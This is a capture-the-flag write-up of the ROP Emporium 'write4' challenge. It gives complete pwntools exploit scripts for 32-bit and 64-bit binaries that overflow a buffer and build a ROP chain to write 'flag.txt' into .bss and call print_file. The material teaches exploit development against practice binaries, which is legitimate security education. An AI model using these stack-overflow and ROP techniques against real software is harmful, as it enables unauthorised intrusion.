write4
The string
"/bin/cat flag.txt"
is not present in the binary, so the method used in "split" won't work here.We are given a function
print_file
and our task is to call print_file("flag.txt")
. There is no "flag.txt"
string in the binary either, so we have to input this string and store it somewhere, for example, the .bss
segment.As the instruction suggests, we should look for a gadget
mov [reg], reg
:
ROPgadget
The idea is:
- 1.Store the string
"flag"
inebp
. - 2.Store the address of
bss
inedi
. - 3.Use the gadget
mov dword ptr [edi], ebp ; ret
to pass the stringflag
to the.bss
segment. - 4.Repeat step 1 to 3 to pass the string
".txt"
tobss + 4
. - 5.Call
print_file(bss)
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="i386", os="linux")
elf = ELF("write432", checksec=False)
#--------Offset--------#
p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)
log.info(f"offset: {offset}")
#--------ROP--------#
# ROPgadget --binary write432 --only "mov|ret"
# mov dword ptr [edi], ebp ; ret
mov_gadget = 0x08048543
# ROPgadget --binary write432 --only "pop|ret" | grep edi
pop_edi_ebp = 0x080485aa
print_file = elf.plt["print_file"]
bss = elf.bss()
payload = flat(
b"A" * offset,
# Step 1: pass "flag.txt"
pop_edi_ebp, bss, "flag", # pass "flag"
mov_gadget,
pop_edi_ebp, bss + 4, ".txt", # pass ".txt"
mov_gadget,
# Step 2: call print_file("flag.txt")
print_file,
b"B" * 4, # ret addr for system
bss, # arg for system
)
p = elf.process()
p.sendlineafter("> ", payload)
p.interactive()
Again, the 64-bit case is even simpler. The idea is the same, except we can pass the string
"flag.txt"
in one round because we are dealing with 64-bit registers.#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="amd64", os="linux")
elf = ELF("write4", checksec=False)
#--------Offset--------#
p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))
log.info(f"offset: {offset}")
#--------ROP--------#
# ROPgadget --binary write4 --only "mov|ret"
# mov qword ptr [r14], r15 ; ret
mov_gadget = 0x0000000000400628
# ROPgadget --binary write4 --only "pop|ret" | grep r14
pop_r14_r15 = 0x0000000000400690
print_file = elf.plt["print_file"]
# ROPgadget --binary write4 --only "pop|ret" | grep rdi
pop_rdi = 0x0000000000400693
ret = 0x4004e6
bss = elf.bss()
payload = flat(
b"A" * offset,
# Step 1: pass "flag.txt"
pop_r14_r15, bss, "flag.txt", # pass "flag.txt"
mov_gadget,
# Step 2: call print_file("flag.txt")
pop_rdi, bss,
ret, print_file,
)
p = elf.process()
p.sendlineafter("> ", payload)
p.interactive()
Last modified 1yr ago